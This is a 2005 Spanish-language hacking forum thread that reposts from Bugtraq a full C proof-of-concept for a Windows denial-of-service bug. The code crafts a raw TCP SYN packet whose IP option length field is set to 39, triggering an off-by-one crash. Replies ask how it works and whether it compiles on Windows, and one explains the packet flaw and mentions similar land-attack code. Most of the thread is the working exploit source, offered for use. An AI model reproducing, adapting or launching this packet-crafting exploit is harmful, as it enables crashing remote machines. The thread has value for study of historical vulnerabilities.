elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:29  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Windows malformed IP Options DoS exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Windows malformed IP Options DoS exploit  (Leído 1,853 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Windows malformed IP Options DoS exploit
« en: 19 Abril 2005, 10:09 »

Recien sacado de Bugtraq. Ojo, no lo he probado y no se si funciona.

***********************

Código:
/* ecl-winipdos.c - 16/04/05
 * Yuri Gushin <yuri@eclipse.org.il>
 * Alex Behar <alex@eclipse.org.il>
 *
 * This one was actually interesting, an off-by-one by our beloved
 * M$ :)
 *
 * When processing an IP packet with an option size (2nd byte after
 * the option) of 39, it will crash - since the maximum available
 * size is 40 for the whole IP options field, and two are already used:
 *                 [ OPT ] [ SIZE ] [ 38 more bytes ]
 * Checks are done to validate that the option-size field is less than
 * 40, where a value less than !39! should be checked for validation.
 *
 * Note that this doesn't affect ALL options, and is also dependant upon
 * the underlying protocol.
 * Anyways, a small PoC to see how it works and why, tweak test and
 * explore, have fun :)
 *
 *
 * Greets fly out to the ECL crew, Valentin Slavov, blexim, stranger,
 * manevski, elius, shrink, Evgeny Pinchuk, Ishay Sommer, and anyone else
 * who got left out :D
 *
 */


#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif

#include <stdio.h>
#include <string.h>
#include <time.h>
#include <libnet.h>

#define IP_H 20
#define IPOPTS_MAX 40

void banner();
void usage(char *);

int main(int argc, char **argv)
{
  char errbuf[LIBNET_ERRBUF_SIZE];
  libnet_t *l;
  char *device = NULL;

  int c;
  u_char *buf;
  int packet_len = 0;
 
  struct ip *IP;
  struct tcphdr *TCP;
  u_int32_t src = 0, dst = 0;

 
  banner();
  if (argc < 4) usage(argv[0]);

  if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) {
    fprintf(stderr, "libnet_init() failed: %s", errbuf);
    exit(-1);
  }
 
  if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
    fprintf(stderr, "Unresolved source address\n");
    exit(-1);
  }
  if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
    fprintf(stderr, "Unresolved destination address\n");
    exit(-1);
  }

  if ( (buf = malloc(IP_MAXPACKET)) == NULL ) {
    perror("malloc");
    exit(-1);
  }

  buf[20] = atoi(argv[3]);
  buf[21] = 39;                      // our malformed size

  for (c = 0; c<38; c+=3)
    strncpy(&buf[22+c], "ECL", 3);   // padding

  TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);
  TCP->th_off = 5;

  packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2);

  srand(time(NULL));
  IP = (struct ip *) buf;
  IP->ip_v    = 4;                   /* version 4 */
  IP->ip_hl   = 5 + (IPOPTS_MAX / 4);/* 60 byte header */
  IP->ip_tos  = 0;                   /* IP tos */
  IP->ip_len  = htons(packet_len);   /* total length */
  IP->ip_id   = rand();              /* IP ID */
  IP->ip_off  = htons(0);            /* fragmentation flags */
  IP->ip_ttl  = 64;                  /* time to live */
  IP->ip_p    = IPPROTO_TCP;         /* transport protocol */
  IP->ip_sum  = 0;
  IP->ip_src.s_addr = src;
  IP->ip_dst.s_addr = dst;

  TCP->th_sport = htons(1337);
  TCP->th_dport = htons(80);
  TCP->th_seq = 0;
  TCP->th_ack = 0;
  TCP->th_x2 = 0;
  TCP->th_flags = TH_SYN;
  TCP->th_win = rand() & 0xffff;
  TCP->th_sum = 0;
  TCP->th_urp = 0;

  libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2);

  if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
    {
      fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
      exit(-1);
    }
           
  printf("Packet sent.\n");

  libnet_destroy(l);
  free(buf);
  return (0);
}

void usage(char *cmd)
{
  printf("Usage: %s <source> <destination> <option>\n",cmd);
  exit(-1);
}

void banner()
{
  printf("\t\tWindows malformed IP Options DoS exploit\n"
         "\t\t   Yuri Gushin <yuri@eclipse.org.il>\n"
         "\t\t    Alex Behar <alex@eclipse.org.il>\n"
         "\t\t\t       ECL Team\n\n\n");
}
En línea

4D1cTo

Desconectado Desconectado

Mensajes: 168



Ver Perfil
Re: Windows malformed IP Options DoS exploit
« Respuesta #1 en: 19 Abril 2005, 12:14 »

alguien puede explicar q es lo q realiza ese exploit a grandes rasgos ?
En línea

[ Linux Registered User #348950 ]
c0rny

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Re: Windows malformed IP Options DoS exploit
« Respuesta #2 en: 19 Abril 2005, 15:20 »

alguien lo compilo en win?
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Windows malformed IP Options DoS exploit
« Respuesta #3 en: 20 Abril 2005, 01:19 »

Arma un paquete tcp-ip, con el bit syn activado. Por lo visto hay un error cuando se manejan dichos paquetes con opcion(en la trama ip) donde se miente  :P el tamaño de la opcion. Hechen una miradita a esto http://ditec.um.es/laso/docs/tut-tcpip/3376c23.html#ip o bien al rfc. Para despejar dudas  ;).
Hace poco postee esto http://foro.elhacker.net/index.php/topic,65603.msg300552.html#msg300552, que es un codigo q arma un paquete tcp-ip con la misma direccion de origen y de destino que al parecer provoca DoS sobre xp sp2 y 2003, digo al parecer porq nadie me ayudo y todavia no he descubierto el problema del codigo y por consiguiente no lo he probado aun. Si alguien sabe lo q estoy haciendo mal en ese codigo, sacariamos andando los dos exploit en una :D. Unas pequeñas modificaciones para meterle opciones ip y marche compilacion sobre win32  ;D. Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Que són los Malformed paquets en wireshark?
Bugs y Exploits
Raftrack 1 1,312 Último mensaje 5 Octubre 2011, 20:10
por MauroMasciar
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines